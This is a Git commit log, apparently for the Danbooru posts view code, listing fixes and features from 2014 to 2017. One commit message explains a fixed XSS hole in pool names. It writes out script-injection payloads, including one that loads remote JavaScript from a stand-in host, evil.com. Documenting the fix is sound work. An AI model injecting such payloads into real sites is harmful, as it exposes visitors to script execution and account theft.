Commit Graph

148 Commits

Author SHA1 Message Date
r888888888
7ba7458897 fix syntax error 2017-09-12 15:43:47 -07:00
r888888888
4fb55657c0 refactor cropped images into explore/posts/intro 2017-09-12 13:03:59 -07:00
r888888888
68863ed018 fixes #3287 2017-09-08 15:01:12 -07:00
r888888888
63f7edd0c6 add toggle for testing cropped thumbnails 2017-09-06 17:02:43 -07:00
evazion
40e006f7cb Fix keyboard navigation in pools (#3238).
Don't display the search navigation bar when browsing pools. Doing so
breaks the A/D keyboard shortcuts because the search navigator takes
precedence over the pool navigator.

https://danbooru.donmai.us/forum_topics/9127?page=195#forum_post_134297
2017-08-04 19:28:36 -05:00
Albert Yi
05a25a6baf Merge pull request #3239 from evazion/fix-md5-leaks
Fix censored post exposures in data attributes / legacy API (#3237)
2017-07-26 17:09:18 -07:00
evazion
f2bf756422 Fix hidden attribute leaks in data attributes (#3237). 2017-07-24 20:35:12 -05:00
evazion
0129891213 Fix #1156: Allow sequential search navigator to work without a search. 2017-07-24 19:30:30 -05:00
evazion
1b310dcc0b Post#expunge!: fix remove_from_all_pools to clear deleted pools.
* Change Post#pools to return all pools, including deleted pools. This
  fixes remove_all_from_pools to remove the post from deleted pools too.

* Change other users of Post#pools to explicitly select undeleted pools.
2017-07-21 00:13:20 -05:00
evazion
4c61e547b9 posts: add data-is-favorited attribute to thumbnails. 2017-05-23 11:53:04 -05:00
evazion
a3db5ba346 post replacement: move presenter methods to post_replacement.rb. 2017-05-17 00:14:41 -05:00
evazion
d40da8c5c9 post replacement: leave a system comment after replacement. 2017-05-05 16:10:43 -05:00
r888888888
19a82bde30 fix syntax error 2017-03-22 14:24:06 -07:00
evazion
d1debecd0b Fix XSS in post thumbnail data attributes. 2017-03-21 17:17:19 -05:00
evazion
2051981170 When merging artcomms, list source as html page url, not image url. 2017-03-16 18:09:59 -05:00
evazion
b80976bce7 modqueue: link tags, like they are in /comments. 2017-02-24 21:03:14 -06:00
r888888888
27264501e0 disable tag backlinking on posts for anon users (helps with web crawlers) 2016-06-14 12:14:10 -07:00
r888888888
a90750f5e1 add tags to post file urls 2016-05-23 12:10:06 -07:00
r888888888
2dd4b4cbff add schema.org metatags 2016-02-09 14:02:47 -08:00
r888888888
cbe627b01a fixes #2494: Twitter bookmarklet: support uploading video 2015-08-27 14:56:25 -07:00
r888888888
ef59ae8886 enable audio for videos #2499 2015-08-26 13:54:34 -07:00
r888888888
86f0db5912 fixes #2488: Pool gallery has pools missing from the list 2015-08-13 11:46:09 -07:00
r888888888
cc6da3ff89 fixes #2454: Add a new popular posts page for view counts 2015-07-24 15:56:41 -07:00
Toks
9c70b69d28 fixes #2422 2015-06-29 15:01:41 -04:00
Toks
c2530e9e53 Allow A/D shortcuts for browsing favgroups 2015-06-25 10:29:59 -04:00
Toks
04fa5596e2 Favorite groups 2015-06-23 15:25:54 -04:00
Toks
b60098044b Fix error on flag/appeal page if a post is expunged 2015-06-20 12:50:57 -04:00
r888888888
6704c21fdb fixes #2351 2015-02-27 16:31:07 -08:00
r888888888
f12fb40e3e implements #2350 2015-02-20 20:04:23 -08:00
Toks
d84f263641 fix broken links 2014-11-10 17:15:36 -05:00
r888888888
3aa0ee2a75 hide ugoira preview/video link if it hasn't finished processing 2014-10-28 11:30:02 -07:00
r888888888
4c73fb9f79 add ugoira support in view 2014-10-19 02:30:02 -07:00
evazion
22c624c356 Fix XSS in pool names in /pools/gallery page.
1) Set a pool name to '<script>alert("xss")</script>'.
2) Wait for people to view it in /pools/gallery.

At first glance the fact that the pool name is truncated to 80 chars
appears to limit how much can be done in the exploit. This poses no
problem though, since someone could inject '<script src="http://www.evil.com/evil.js"></script>' instead.
2014-10-17 13:10:54 -05:00
Toks
4b4e3dc87b #2245 Display more of title
originally from commit 719343cea5
2014-09-20 15:28:03 -04:00
r888888888
5c22d8753f Revert "make pool gallery the default view"
This reverts commit 719343cea5.
2014-09-05 22:26:47 -07:00
r888888888
719343cea5 make pool gallery the default view 2014-09-05 16:27:19 -07:00
r888888888
267df896c6 fixes #2245 2014-08-25 16:41:27 -07:00
Toks
0682a0db63 fixes #2247 2014-08-22 16:06:09 -04:00
Toks
a84850c094 WebM support 2014-06-30 17:19:37 -04:00
r888888888
330c431060 Revert "fixes #2160"
This reverts commit 292f730991.
2014-06-24 10:15:44 -07:00
r888888888
b0af27f903 Revert "#2160: hide remove links unless builder"
This reverts commit 901aa1264c.
2014-06-24 10:15:30 -07:00
r888888888
901aa1264c #2160: hide remove links unless builder 2014-06-18 15:33:51 -07:00
r888888888
292f730991 fixes #2160 2014-06-18 15:32:42 -07:00
Toks
71cd5ce783 fixes #2114 2014-05-29 22:55:35 -04:00
Toks
49bdc7cd79 Add more data attributes to thumbnail previews 2014-03-14 13:57:49 -04:00
r888888888
20eaa1f03f fixes #2099 2014-02-18 16:25:52 -08:00
r888888888
9820c1c209 fix typo 2014-02-18 15:05:51 -08:00
r888888888
73f1768502 include #r18 hash tag in humanized tag string 2014-02-13 14:48:05 -08:00
r888888888
2b9d6cb44f include #r18 hash tag in humanized tag string 2014-02-13 13:30:46 -08:00
Toks
e0bd6e8b2a fixes #2073 2014-01-03 01:48:24 -05:00